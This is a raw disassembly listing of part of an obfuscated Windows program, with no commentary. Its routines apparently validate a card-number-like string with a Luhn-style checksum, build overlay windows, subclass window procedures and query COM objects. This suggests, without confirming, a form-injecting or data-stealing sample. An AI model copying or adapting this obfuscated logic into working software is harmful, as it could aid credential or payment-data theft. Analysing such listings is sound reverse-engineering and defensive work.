ebx, 2 jmp short loc_43CDD1 ; --------------------------------------------------------------------------- loc_43CDB3: ; CODE XREF: sub_43CD37+AEj mov eax, 30h mul ebx mov [ebp+var_260], eax mov eax, ds:dword_4CC650[eax] cmp [ebp+arg_4], eax jz loc_43DF16 inc ebx loc_43CDD1: ; CODE XREF: sub_43CD37+7Aj movsx eax, word_55123C movsx edx, word_5511EC lea eax, [eax+edx+5Eh] cmp ebx, eax jb short loc_43CDB3 mov eax, dword_55125C add eax, 0Eh add eax, dword_55118C cmp eax, [ebp+var_128] jnz loc_43D026 mov eax, [ebp+arg_0] mov edx, dword_5510C4 add edx, dword_5511F4 sub edx, 5 cmp byte ptr [eax+edx], 2Dh jz short loc_43CE34 movsx edx, word_55111C mov ecx, dword_5510F4 lea edx, [edx+ecx+7] cmp byte ptr [eax+edx], 20h jnz loc_43DF16 loc_43CE34: ; CODE XREF: sub_43CD37+E0j mov eax, [ebp+arg_0] movsx edx, word_551170 movsx ecx, word_551254 add edx, ecx sub edx, 5 cmp byte ptr [eax+edx], 2Dh jz short loc_43CE62 movsx edx, word_55120C cmp byte ptr [edx+eax+4], 20h jnz loc_43DF16 loc_43CE62: ; CODE XREF: sub_43CD37+117j mov eax, [ebp+arg_0] mov edx, dword_55113C movsx ecx, word_5510D8 add edx, ecx sub edx, 4 cmp byte ptr [eax+edx], 20h jz short loc_43CE96 mov edx, dword_5510F8 add edx, 3 add edx, dword_5511B8 cmp byte ptr [eax+edx], 2Dh jnz loc_43DF16 loc_43CE96: ; CODE XREF: sub_43CD37+144j mov eax, dword_551128 add eax, 4 movsx edx, word_5510EC add eax, edx mov edx, [ebp+arg_0] mov dl, [edx+0Dh] mov [ebp+eax+var_FF], dl mov eax, dword_551270 mov edx, eax add edx, eax mov eax, [ebp+arg_0] mov al, [eax+1] mov byte ptr [ebp+edx+var_108], al mov eax, dword_5511D8 add eax, dword_551244 mov edx, [ebp+arg_0] mov dl, [edx+8] mov byte ptr [ebp+eax+var_108+2], dl mov eax, dword_55118C mov edx, [ebp+arg_0] mov dl, [edx] mov [ebp+eax+var_FF], dl mov eax, dword_551174 add eax, dword_5510DC mov edx, [ebp+arg_0] mov dl, [edx+6] mov byte ptr [ebp+eax+var_102], dl mov eax, dword_551108 mov edx, [ebp+arg_0] mov dl, [edx+0Ah] mov [ebp+eax+var_F9], dl mov eax, dword_551114 mov edx, [ebp+arg_0] mov dl, [edx+7] mov [ebp+eax+var_FB], dl movsx eax, word_5511C8 add eax, dword_551134 mov edx, [ebp+arg_0] mov dl, [edx+12h] mov [ebp+eax+var_FF], dl mov eax, dword_5510C4 mov edx, [ebp+arg_0] mov dl, [edx+10h] mov [ebp+eax+var_FB], dl movsx eax, word_551140 mov edx, [ebp+arg_0] mov dl, [edx+2] mov byte ptr [ebp+eax+var_102], dl mov eax, dword_5510A8 movsx edx, word_5511BC add eax, edx mov edx, [ebp+arg_0] mov dl, [edx+0Ch] mov byte ptr [ebp+eax+var_102], dl mov eax, dword_55121C mov edx, [ebp+arg_0] mov dl, [edx+0Bh] mov [ebp+eax+var_F6], dl movsx eax, word_55123C mov edx, [ebp+arg_0] mov dl, [edx+11h] mov [ebp+eax+var_F4], dl mov eax, dword_551118 movsx edx, word_55115C add eax, edx mov edx, [ebp+arg_0] mov dl, [edx+5] mov byte ptr [ebp+eax+var_108+1], dl mov eax, dword_551160 add eax, 4 movsx edx, word_551194 add eax, edx movsx edx, word_551224 sub edx, 2 mov [ebp+eax+var_FF], dl mov eax, dword_551208 add eax, dword_551198 mov edx, [ebp+arg_0] mov dl, [edx+3] mov byte ptr [ebp+eax+var_102+1], dl movsx eax, word_551170 movsx edx, word_551144 lea eax, [eax+edx+0Ah] mov edx, [ebp+arg_0] mov dl, [edx+0Fh] mov [ebp+eax+var_FF], dl jmp short loc_43D035 ; --------------------------------------------------------------------------- loc_43D026: ; CODE XREF: sub_43CD37+C4j push [ebp+arg_0] lea eax, [ebp+var_FF] push eax call sub_44799C loc_43D035: ; CODE XREF: sub_43CD37+2EDj mov eax, dword_551230 mov esi, eax add esi, dword_55121C sub esi, 5 jmp short loc_43D05C ; --------------------------------------------------------------------------- loc_43D047: ; CODE XREF: sub_43CD37+334j mov al, [ebp+esi+var_FF] cmp al, 39h jg short loc_43D056 cmp al, 30h jge short loc_43D05B loc_43D056: ; CODE XREF: sub_43CD37+319j jmp loc_43DF16 ; --------------------------------------------------------------------------- loc_43D05B: ; CODE XREF: sub_43CD37+31Dj inc esi loc_43D05C: ; CODE XREF: sub_43CD37+30Ej movsx eax, word_5510A0 add eax, dword_55116C cmp esi, eax jb short loc_43D047 mov eax, dword_55126C sub eax, 8 mov [ebp+var_108], eax mov esi, dword_551118 sub esi, 9 jmp short loc_43D0C4 ; --------------------------------------------------------------------------- loc_43D086: ; CODE XREF: sub_43CD37+3A0j mov eax, dword_551264 dec eax movsx edx, [ebp+esi+var_FF] sub edx, 30h imul eax, edx add [ebp+var_108], eax cmp [ebp+esi+var_FF], 34h jle short loc_43D0B8 mov eax, dword_551150 add eax, 5 sub [ebp+var_108], eax loc_43D0B8: ; CODE XREF: sub_43CD37+371j movsx eax, word_5510AC sub eax, 5 add esi, eax loc_43D0C4: ; CODE XREF: sub_43CD37+34Dj mov eax, dword_55113C add eax, 4 movsx edx, word_55123C add eax, edx cmp esi, eax jb short loc_43D086 mov eax, dword_5511F0 mov ebx, eax add ebx, dword_5511F4 sub ebx, 0Dh jmp short loc_43D104 ; --------------------------------------------------------------------------- loc_43D0EB: ; CODE XREF: sub_43CD37+3E0j movsx eax, [ebp+ebx+var_FF] sub eax, 30h add [ebp+var_108], eax mov eax, dword_5510C0 inc eax add ebx, eax loc_43D104: ; CODE XREF: sub_43CD37+3B2j movsx eax, word_551254 mov edx, dword_5510C0 lea eax, [eax+edx+7] cmp ebx, eax jb short loc_43D0EB mov eax, [ebp+var_108] mov ecx, 0Ah xor edx, edx div ecx mov edi, dword_55109C add edi, dword_55122C sub edi, 8 cmp edx, edi jnz loc_43DF16 lea eax, [ebp+var_FF] push eax call ds:dword_54EB74 pop ecx mov edi, dword_551238 add edi, dword_551270 sub edi, 0Eh cmp eax, edi jnz loc_43DF16 movsx eax, word_551140 movsx edx, word_551188 mov esi, eax add esi, edx sub esi, 0Ah movsx eax, word_5510E4 movsx edx, word_551170 mov esi, eax add esi, edx dec esi jmp short loc_43D1B3 ; --------------------------------------------------------------------------- loc_43D18E: ; CODE XREF: sub_43CD37+490j mov eax, 30h mul esi mov [ebp+var_264], eax mov eax, dword_55110C sub eax, 9 mov edx, [ebp+var_264] cmp ds:dword_4CC650[edx], eax jz short loc_43D1C9 inc esi loc_43D1B3: ; CODE XREF: sub_43CD37+455j movsx eax, word_551168 movsx edx, word_5510EC lea eax, [eax+edx+60h] cmp esi, eax jb short loc_43D18E loc_43D1C9: ; CODE XREF: sub_43CD37+479j movsx eax, word_551194 mov edx, dword_551204 lea eax, [eax+edx+5Ah] cmp esi, eax jz loc_43DF16 mov eax, 30h mul esi mov [ebp+var_268], eax mov eax, [ebp+arg_4] mov edx, [ebp+var_268] mov ds:dword_4CC650[edx], eax push offset byte_552485 call sub_43AC94 pop ecx mov edi, dword_551204 sub edi, 3 push edi push eax movsx edi, word_5511C4 sub edi, 7 push edi push [ebp+arg_4] call ds:dword_50EA30 mov [ebp+var_134], eax mov ecx, dword_5511FC add ecx, dword_551244 sub ecx, 7 cmp ecx, eax jnz short loc_43D24B mov eax, [ebp+arg_4] mov [ebp+var_134], eax loc_43D24B: ; CODE XREF: sub_43CD37+509j push offset dword_552478 call sub_43AC94 push eax push [ebp+var_134] call sub_43DFC4 mov [ebp+var_12C], eax push offset dword_55246C call sub_43AC94 push eax push [ebp+var_12C] call sub_43DFC4 mov edi, eax mov eax, 30h mul esi mov [ebp+var_26C], eax mov ebx, eax mov ds:dword_4CC654[ebx], edi push 0 mov eax, 30h mul esi mov [ebp+var_270], eax push ds:dword_4CC654[eax] call ds:dword_54EA58 mov eax, dword_5511B4 dec eax push eax call ds:dword_44B598 mov [ebp+var_10C], eax lea eax, [ebp+var_11C] push eax push [ebp+var_12C] call ds:dword_54EA50 push offset word_552462 call sub_43AC94 add esp, 1Ch push dword_5511C0 push [ebp+var_10C] mov edi, dword_5511E4 sub edi, 5 push edi push [ebp+var_12C] mov edi, [ebp+var_110] sub edi, [ebp+var_118] push edi mov edi, [ebp+var_114] sub edi, [ebp+var_11C] push edi movsx edi, word_55120C add edi, dword_5510C0 dec edi push edi mov edi, dword_5511E0 add edi, dword_551174 sub edi, 0Ah push edi push 50800000h lea edi, [ebp+var_FF] push edi push eax push 200h call ds:dword_4CDA3C mov edi, eax mov eax, 30h mul esi mov [ebp+var_274], eax mov ebx, eax mov ds:dword_4CC658[ebx], edi mov eax, [ebp+var_114] sub eax, [ebp+var_11C] movsx edx, word_5511CC add edx, 27h sub eax, edx mov [ebp+var_120], eax mov edi, [ebp+var_110] mov ebx, dword_55121C add ebx, 0FAh sub edi, ebx sub edi, [ebp+var_118] movsx ebx, word_551268 add ebx, 39h mov eax, edi sub eax, ebx xor edx, edx test eax, eax setl dl add eax, edx sar eax, 1 mov [ebp+var_124], eax movsx edx, word_551170 dec edx cmp eax, edx jge short loc_43D3E2 movsx eax, word_551110 add eax, dword_5510F4 sub eax, 2 mov [ebp+var_124], eax loc_43D3E2: ; CODE XREF: sub_43CD37+693j push offset dword_552458 call sub_43AC94 mov [ebp+var_278], eax push offset dword_552454 call sub_43AC94 mov [ebp+var_27C], eax movsx edi, word_551168 add edi, dword_5511D0 sub edi, 7 push edi push [ebp+var_10C] movsx edi, word_5511C4 sub edi, 7 push edi mov eax, 30h mul esi mov [ebp+var_280], eax mov edi, eax push ds:dword_4CC658[edi] movsx edi, word_5511BC mov ebx, dword_5510A4 lea edi, [edi+ebx+0ECh] push edi push [ebp+var_120] mov edi, [ebp+var_124] movsx ebx, word_5511EC mov edx, dword_551148 lea ebx, [ebx+edx+32h] add edi, ebx mov ebx, dword_55124C add ebx, dword_5510A8 sub ebx, 0Ch add edi, ebx push edi mov edi, dword_5510D4 add edi, 0Ch movsx ebx, word_5510B0 add edi, ebx push edi push 50800009h mov edi, [ebp+var_27C] push edi mov edi, [ebp+var_278] push edi mov edi, dword_5511F4 add edi, dword_5510B4 sub edi, 9 push edi call ds:dword_4CDA3C mov [ebp+var_138], eax push offset word_55244A call sub_43AC94 mov [ebp+var_284], eax push offset byte_552431 call sub_43AC94 mov [ebp+var_288], eax mov edi, dword_551204 movsx ebx, word_5510EC add edi, ebx sub edi, 3 push edi push [ebp+var_10C] mov edi, dword_5510A8 sub edi, 8 push edi mov eax, 30h mul esi mov [ebp+var_28C], eax mov edi, eax push ds:dword_4CC658[edi] movsx edi, word_551188 add edi, 37h push edi push [ebp+var_120] push [ebp+var_124] movsx edi, word_551104 mov ebx, dword_551174 lea edi, [edi+ebx+0Eh] push edi push 50800000h mov edi, [ebp+var_288] push edi mov edi, [ebp+var_284] push edi mov edi, dword_5510DC add edi, dword_5510E0 sub edi, 8 push edi call ds:dword_4CDA3C mov [ebp+var_13C], eax movsx eax, word_551274 movsx edx, word_551210 add eax, edx sub eax, 4 push eax push 2 push 0 push 0 push 5 push 1 mov eax, dword_5510B4 movsx edx, word_551268 add eax, edx sub eax, 7 push eax mov eax, dword_5511FC movsx edx, word_55112C add eax, edx sub eax, 5 push eax movsx eax, word_551110 dec eax push eax push 2BCh mov eax, dword_5510FC movsx edx, word_551260 add eax, edx sub eax, 0Bh push eax mov eax, dword_5511B4 add eax, dword_55109C sub eax, 8 push eax movsx eax, word_5510B0 add eax, 7 push eax movsx eax, word_5511A8 add eax, 14h push eax call ds:dword_4CC320 mov [ebp+var_140], eax push 1 push eax push 30h push [ebp+var_13C] call ds:dword_448018 push offset byte_552427 call sub_43AC94 mov [ebp+var_290], eax push offset word_552422 call sub_43AC94 add esp, 18h mov edi, dword_551128 sub edi, 7 push edi push [ebp+var_10C] mov edi, dword_5511E4 sub edi, 5 push edi push [ebp+var_138] mov edi, dword_551160 mov ebx, dword_55122C lea ebx, [edi+ebx+0F4h] mov edx, dword_551154 movsx ecx, word_551210 add edx, ecx sub edx, 6 sub ebx, edx push ebx mov ebx, [ebp+var_120] movsx edx, word_5510B0 add edi, edx sub edi, 2 sub ebx, edi push ebx movsx edi, word_551240 add edi, dword_551174 dec edi push edi mov edi, dword_5510A8 sub edi, 7 push edi push 50000000h push eax mov edi, [ebp+var_290] push edi movsx edi, word_551220 dec edi push edi call ds:dword_4CDA3C mov edi, eax mov eax, 30h mul esi mov [ebp+var_294], eax mov ebx, eax mov ds:dword_4CC65C[ebx], edi mov eax, dword_551138 add eax, dword_5510D4 cmp byte ptr [ebp+eax+var_10C+3], 34h jnz short loc_43D70D push offset word_55241A call sub_43AC94 pop ecx push eax lea edi, [ebp+var_154] push edi call sub_44799C jmp short loc_43D725 ; --------------------------------------------------------------------------- loc_43D70D: ; CODE XREF: sub_43CD37+9BAj push offset dword_55240C call sub_43AC94 pop ecx push eax lea edi, [ebp+var_154] push edi call sub_44799C loc_43D725: ; CODE XREF: sub_43CD37+9D4j push offset aN_0 ; "n" call sub_43AC94 lea edi, [ebp+var_FF] push edi lea edi, [ebp+var_154] push edi push eax lea edi, [ebp+var_253] push edi call ds:dword_50EA28 push offset dword_552458 call sub_43AC94 mov [ebp+var_298], eax movsx edi, word_551144 dec edi push edi push [ebp+var_10C] mov edi, dword_5510D0 sub edi, 4 push edi mov eax, 30h mul esi mov [ebp+var_29C], eax mov edi, eax push ds:dword_4CC65C[edi] mov edi, dword_551124 add edi, 27h push edi push [ebp+var_120] mov edi, dword_55113C inc edi movsx ebx, word_5511A8 add edi, ebx push edi mov edi, dword_551148 movsx ebx, word_551104 add edi, ebx sub edi, 2 push edi push 50000000h lea edi, [ebp+var_253] push edi mov edi, [ebp+var_298] push edi mov edi, dword_551158 dec edi push edi call ds:dword_4CDA3C mov [ebp+var_258], eax movsx eax, word_551110 dec eax push eax push 2 push 0 push 0 push 5 push 1 movsx eax, word_551224 movsx edx, word_5511EC add eax, edx sub eax, 5 push eax mov eax, dword_5510F4 mov edx, dword_5510E8 add edx, eax mov eax, edx sub eax, 9 push eax mov eax, dword_551184 add eax, dword_551154 sub eax, 0Fh push eax push 190h mov eax, dword_55113C sub eax, 9 push eax mov eax, dword_5510F4 sub eax, 2 push eax mov eax, dword_551238 add eax, dword_551244 sub eax, 0Ah push eax mov eax, dword_5511B8 add eax, 9 push eax call ds:dword_4CC320 mov [ebp+var_130], eax push 1 push eax push 30h push [ebp+var_258] call ds:dword_448018 push offset word_55238E call sub_43AC94 mov [ebp+var_2A0], eax push offset off_55238A call sub_43AC94 mov [ebp+var_2A4], eax push dword_5510BC push [ebp+var_10C] mov edi, dword_551118 mov ebx, edi add ebx, dword_55126C sub ebx, 11h push ebx mov eax, 30h mul esi mov [ebp+var_2A8], eax mov ebx, eax push ds:dword_4CC65C[ebx] mov ebx, dword_551270 add ebx, 125h add ebx, dword_551108 push ebx movsx ebx, word_551220 add ebx, 31h push ebx mov ebx, dword_551250 add ebx, 49h push ebx mov ebx, dword_5510D4 movsx edx, word_5510A0 add ebx, edx sub ebx, 4 push ebx push 50800003h mov ebx, [ebp+var_2A4] push ebx mov ebx, [ebp+var_2A0] push ebx add edi, dword_551258 sub edi, 0Ah push edi call ds:dword_4CDA3C mov edi, eax mov eax, 30h mul esi mov [ebp+var_2AC], eax mov ebx, eax mov ds:dword_4CC660[ebx], edi push offset word_55237E call sub_43AC94 mov [ebp+var_2B0], eax push offset word_55237A call sub_43AC94 add esp, 28h mov [ebp+var_2B4], eax movsx edi, word_551168 movsx ebx, word_551210 mov edx, edi add edx, ebx mov ebx, edx sub ebx, 7 push ebx push [ebp+var_10C] mov ebx, dword_551204 movsx edx, word_55112C add ebx, edx sub ebx, 8 push ebx mov eax, 30h mul esi mov [ebp+var_2B8], eax mov ebx, eax push ds:dword_4CC65C[ebx] movsx ebx, word_551170 lea edi, [ebx+edi+127h] push edi movsx edi, word_5510EC add edi, 3Ch push edi mov edi, dword_5510E0 add edi, 4Ah add edi, dword_551164 push edi movsx edi, word_55111C movsx edx, word_5511BC lea edi, [edi+edx+41h] push edi push 50800003h mov edi, [ebp+var_2B4] push edi mov edi, [ebp+var_2B0] push edi mov edi, ebx dec edi push edi call ds:dword_4CDA3C mov edi, eax mov eax, 30h mul esi mov [ebp+var_2BC], eax mov ebx, eax mov ds:dword_4CC664[ebx], edi mov eax, dword_5510D4 sub eax, 6 mov [ebp+var_102], ax jmp loc_43DAEE ; --------------------------------------------------------------------------- loc_43DA34: ; CODE XREF: sub_43CD37+DC9j push offset dword_552370 call sub_43AC94 movzx edi, [ebp+var_102] movsx ebx, word_5511EC lea edi, [edi+ebx+4] push edi push eax lea edi, [ebp+var_2C6] push edi call ds:dword_50EA28 lea eax, [ebp+var_2C6] push eax mov eax, dword_551218 dec eax push eax push 143h mov eax, 30h mul esi mov [ebp+var_2CC], eax push ds:dword_4CC664[eax] call ds:dword_448018 push offset dword_552368 call sub_43AC94 movzx edi, [ebp+var_102] push edi push eax lea edi, [ebp+var_2C6] push edi call ds:dword_50EA28 add esp, 20h lea eax, [ebp+var_2C6] push eax mov eax, dword_5510D0 movsx edx, word_5510F0 add eax, edx sub eax, 7 push eax push 143h mov eax, 30h mul esi mov [ebp+var_2D0], eax push ds:dword_4CC660[eax] call ds:dword_448018 inc [ebp+var_102] loc_43DAEE: ; CODE XREF: sub_43CD37+CF8j movzx eax, [ebp+var_102] mov edx, dword_5510DC add edx, 6 cmp eax, edx jl loc_43DA34 push offset dword_552360 call sub_43AC94 mov [ebp+var_2C0], eax push offset dword_55235C call sub_43AC94 mov [ebp+var_2C4], eax mov edi, dword_55117C add edi, dword_551164 sub edi, 5 push edi push [ebp+var_10C] movsx edi, word_551110 dec edi push edi mov eax, 30h mul esi mov [ebp-2C8h], eax mov edi, eax push ds:dword_4CC65C[edi] movsx edi, word_55123C movsx ebx, word_551274 lea ebx, [ebx+edi+14h] push ebx add edi, 52h push edi mov edi, dword_5511D0 add edi, 70h movsx ebx, word_551260 add edi, ebx push edi mov edi, dword_551150 add edi, 2Bh push edi push 50800000h mov edi, [ebp+var_2C4] push edi mov edi, [ebp+var_2C0] push edi push 200h call ds:dword_4CDA3C mov edi, eax mov eax, 30h mul esi mov [ebp+var_2CC], eax mov ebx, eax mov ds:dword_4CC668[ebx], edi mov eax, dword_55116C add eax, dword_551138 sub eax, 0Ch push eax push 58h push 0CCh mov eax, 30h mul esi mov [ebp+var_2D0], eax push ds:dword_4CC668[eax] call ds:dword_448018 push offset word_552352 call sub_43AC94 mov [ebp+var_2D4], eax push offset dword_552330 call sub_43AC94 mov [ebp+var_2D8], eax mov edi, dword_5511F4 sub edi, 5 push edi push [ebp+var_10C] mov edi, dword_5510D4 movsx ebx, word_551140 add edi, ebx sub edi, 0Ch push edi mov eax, 30h mul esi mov [ebp+var_2DC], eax mov edi, eax push ds:dword_4CC65C[edi] mov edi, dword_551200 add edi, 3Dh push edi push [ebp+var_120] mov edi, dword_551264 add edi, 4Ch push edi movsx edi, word_551234 movsx ebx, word_551144 lea edi, [edi+ebx+91h] push edi push 50000000h mov edi, [ebp+var_2D8] push edi mov edi, [ebp+var_2D4] push edi mov edi, dword_5511B8 sub edi, 7 push edi call ds:dword_4CDA3C mov [ebp+var_25C], eax push 1 push [ebp+var_130] push 30h push eax call ds:dword_448018 push offset word_552326 call sub_43AC94 mov [ebp+var_2E0], eax push offset dword_55230C call sub_43AC94 add esp, 18h mov [ebp+var_2E4], eax mov edi, dword_55117C sub edi, 5 push edi push [ebp+var_10C] mov edi, dword_551198 add edi, dword_5511F0 sub edi, 0Ch push edi mov eax, 30h mul esi mov [ebp+var_2E8], eax mov edi, eax push ds:dword_4CC65C[edi] movsx edi, word_551170 add edi, 16h push edi movsx edi, word_551168 add edi, 97h push edi movsx edi, word_551228 mov ebx, dword_551238 lea edi, [edi+ebx+0EBh] mov ebx, dword_551204 add ebx, 20h sub edi, ebx push edi mov edi, dword_551174 add edi, 9 push edi push 50800000h mov edi, [ebp+var_2E4] push edi mov edi, [ebp+var_2E0] push edi mov edi, dword_551218 movsx ebx, word_55112C add edi, ebx sub edi, 6 push edi call ds:dword_4CDA3C mov edi, eax mov eax, 30h mul esi mov [ebp+var_2EC], eax mov ebx, eax mov ds:dword_4CC66C[ebx], edi push 1 push [ebp+var_130] mov eax, 30h push 30h mul esi mov [ebp+var_2F0], eax push ds:dword_4CC66C[eax] call ds:dword_448018 push 0FFFFFFFCh mov eax, 30h mul esi mov [ebp+var_2F4], eax mov [ebp+var_2F8], eax push ds:dword_4CC660[eax] call ds:dword_4CEA18 mov edi, [ebp+var_2F8] mov ds:dword_4CC670[edi], eax push offset sub_444FE7 push 0FFFFFFFCh mov eax, 30h mul esi mov [ebp+var_2FC], eax push ds:dword_4CC660[eax] call ds:dword_44B5AC push 0FFFFFFFCh mov eax, 30h mul esi mov [ebp+var_300], eax mov [ebp+var_304], eax push ds:dword_4CC668[eax] call ds:dword_4CEA18 mov edi, [ebp+var_304] mov ds:dword_4CC678[edi], eax push offset sub_444FE7 push 0FFFFFFFCh mov eax, 30h mul esi mov [ebp+var_308], eax push ds:dword_4CC668[eax] call ds:dword_44B5AC push 0FFFFFFFCh mov eax, 30h mul esi mov [ebp+var_30C], eax mov [ebp+var_310], eax push ds:dword_4CC664[eax] call ds:dword_4CEA18 mov edi, [ebp+var_310] mov ds:dword_4CC674[edi], eax push offset sub_444FE7 push 0FFFFFFFCh mov eax, 30h mul esi mov [ebp+var_314], eax push ds:dword_4CC664[eax] call ds:dword_44B5AC push 0FFFFFFFCh mov eax, 30h mul esi mov [ebp+var_318], eax mov [ebp+var_31C], eax push ds:dword_4CC65C[eax] call ds:dword_4CEA18 mov edi, [ebp+var_31C] mov ds:dword_4CC67C[edi], eax push offset sub_444FE7 push 0FFFFFFFCh mov eax, 30h mul esi mov [ebp+var_320], eax push ds:dword_4CC65C[eax] call ds:dword_44B5AC mov eax, 30h mul esi mov [ebp+var_324], eax push ds:dword_4CC660[eax] call ds:dword_48B9FC loc_43DF16: ; CODE XREF: sub_43CD37+10j ; sub_43CD37+32j ... pop edi pop esi pop ebx leave retn sub_43CD37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DF1B proc near ; DATA XREF: .data:00551308o push ebp mov ebp, esp push offset dword_44B5B8 call ds:dword_48B9F8 mov eax, ds:dword_44B5B8 pop ebp retn 4 sub_43DF1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DF32 proc near ; CODE XREF: sub_4467C4+663p ; DATA XREF: sub_441AE5+54o var_104 = byte ptr -104h var_FF = byte ptr -0FFh arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 104h push edi movsx eax, word_551268 sub eax, 3 push eax push 80h push 4 mov eax, dword_55124C sub eax, 5 push eax movsx eax, word_55112C sub eax, 5 push eax push 40000000h push offset dword_4CC330 call ds:dword_54FC18 mov edi, eax movsx eax, word_5510E4 add eax, dword_55118C mov dl, [ebp+arg_0] mov [ebp+eax+var_FF], dl mov eax, dword_5510E8 add eax, dword_5511B4 sub eax, 8 push eax lea eax, [ebp+var_104] push eax movsx eax, word_551194 sub eax, 6 push eax lea eax, [ebp+var_FF] push eax push edi call ds:dword_55001C push edi call ds:dword_4CDA48 pop edi leave retn sub_43DF32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DFC4 proc near ; CODE XREF: sub_43CD37+525p ; sub_43CD37+541p var_FFF = byte ptr -0FFFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_44797C push esi push edi push 5 push [ebp+arg_0] call ds:dword_448004 mov edi, eax loc_43DFE0: ; CODE XREF: sub_43DFC4+82j mov eax, dword_5511B4 movsx edx, word_551214 add eax, edx sub eax, 4 cmp edi, eax jnz short loc_43DFF9 xor eax, eax jmp short loc_43E048 ; --------------------------------------------------------------------------- loc_43DFF9: ; CODE XREF: sub_43DFC4+2Fj push 0FFFh lea eax, [ebp+var_FFF] push eax push edi call ds:dword_449FD0 mov eax, dword_551118 sub eax, 8 push eax push [ebp+arg_4] lea eax, [ebp+var_FFF] push eax call sub_442127 add esp, 0Ch mov esi, dword_551150 add esi, 0FFFBh cmp esi, eax jz short loc_43E03B mov eax, edi jmp short loc_43E048 ; --------------------------------------------------------------------------- loc_43E03B: ; CODE XREF: sub_43DFC4+71j push 2 push edi call ds:dword_448004 mov edi, eax jmp short loc_43DFE0 ; --------------------------------------------------------------------------- loc_43E048: ; CODE XREF: sub_43DFC4+33j ; sub_43DFC4+75j pop edi pop esi leave retn sub_43DFC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43E04C proc near ; CODE XREF: sub_43EC94+299p var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 54h push ebx push esi push edi movsx eax, word_5511BC add eax, dword_5510BC sub eax, 4 push eax push [ebp+arg_8] push [ebp+arg_0] call sub_4441D8 add esp, 0Ch mov [ebp+var_54], eax mov eax, dword_55122C dec eax cmp eax, [ebp+var_54] jnz loc_43E2F0 mov [ebp+var_18], 8 push offset dword_5522FC call sub_43AEDD pop ecx push eax call ds:dword_44900C mov [ebp+var_10], eax lea eax, [ebp+var_8] push eax lea esi, [ebp+var_18] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+arg_8] push edi mov edi, [edi] call dword ptr [edi+30h] mov ebx, eax mov eax, dword_551200 movsx edx, word_5511C8 add eax, edx sub eax, 0Ah cmp eax, ebx jnz loc_43E2D4 lea eax, [ebp+var_40] push eax push offset dword_552A44 mov eax, [ebp+var_8] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_55116C sub eax, 9 cmp ebx, eax jnz loc_43E2CB mov eax, dword_551114 sub eax, 2 mov [ebp+var_28], eax mov [ebp+var_30], 2 lea eax, [ebp+var_1C] push eax lea esi, [ebp+var_30] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd lea esi, [ebp+var_30] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+var_40] push edi mov edi, [edi] call dword ptr [edi+2Ch] mov ebx, eax mov eax, dword_551158 add eax, dword_551184 sub eax, 9 cmp ebx, eax jnz loc_43E2C2 mov eax, dword_5511D0 sub eax, 3 mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax push offset dword_552A54 mov eax, [ebp+var_1C] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax movsx eax, word_55120C cmp eax, ebx jnz loc_43E2B9 inc ds:dword_44B5D0 mov eax, dword_5510B4 inc eax movsx edx, word_551140 add eax, edx cmp ds:dword_44B5D0, eax jb short loc_43E1C0 movsx eax, word_551268 add eax, 7 mov ds:dword_44B5D0, eax push [ebp+var_4] call sub_442CE5 pop ecx jmp loc_43E2B0 ; --------------------------------------------------------------------------- loc_43E1C0: ; CODE XREF: sub_43E04C+155j mov eax, dword_551118 add eax, dword_5511E0 sub eax, 12h mov [ebp+var_50], eax lea eax, [ebp+var_48] push eax push ds:dword_44801C call sub_43E369 mov [ebp+var_34], eax lea eax, [ebp+var_4C] push eax push ds:dword_4CD920 call sub_43E369 mov [ebp+var_38], eax lea eax, [ebp+var_44] push eax push ds:dword_449FD4 call sub_43E369 add esp, 18h mov [ebp+var_3C], eax cmp [ebp+var_4C], 0 jz short loc_43E22D cmp [ebp+var_38], 0 jz short loc_43E22D push 43h lea eax, [ebp+var_50] push eax push [ebp+var_4] push [ebp+var_4C] push [ebp+var_38] call sub_445895 add esp, 14h loc_43E22D: ; CODE XREF: sub_43E04C+1C2j ; sub_43E04C+1C8j cmp [ebp+var_44], 0 jz short loc_43E250 cmp [ebp+var_3C], 0 jz short loc_43E250 push 50h lea eax, [ebp+var_50] push eax push [ebp+var_4] push [ebp+var_44] push [ebp+var_3C] call sub_445895 add esp, 14h loc_43E250: ; CODE XREF: sub_43E04C+1E5j ; sub_43E04C+1EBj cmp [ebp+var_34], 0 jz short loc_43E273 cmp [ebp+var_48], 0 jz short loc_43E273 push 44h lea eax, [ebp+var_50] push eax push [ebp+var_4] push [ebp+var_48] push [ebp+var_34] call sub_445895 add esp, 14h loc_43E273: ; CODE XREF: sub_43E04C+208j ; sub_43E04C+20Ej push [ebp+var_38] call ds:dword_44B5CC push [ebp+var_34] call ds:dword_44B5CC push [ebp+var_3C] call ds:dword_44B5CC movsx eax, word_55112C movsx edx, word_5510EC add eax, edx sub eax, 3 push eax push [ebp+arg_8] push [ebp+arg_0] call sub_4441D8 add esp, 0Ch loc_43E2B0: ; CODE XREF: sub_43E04C+16Fj mov eax, [ebp+var_4] push eax mov esi, [eax] call dword ptr [esi+8] loc_43E2B9: ; CODE XREF: sub_43E04C+134j mov eax, [ebp+var_1C] push eax mov esi, [eax] call dword ptr [esi+8] loc_43E2C2: ; CODE XREF: sub_43E04C+102j mov eax, [ebp+var_40] push eax mov esi, [eax] call dword ptr [esi+8] loc_43E2CB: ; CODE XREF: sub_43E04C+AEj mov eax, [ebp+var_8] push eax mov esi, [eax] call dword ptr [esi+8] 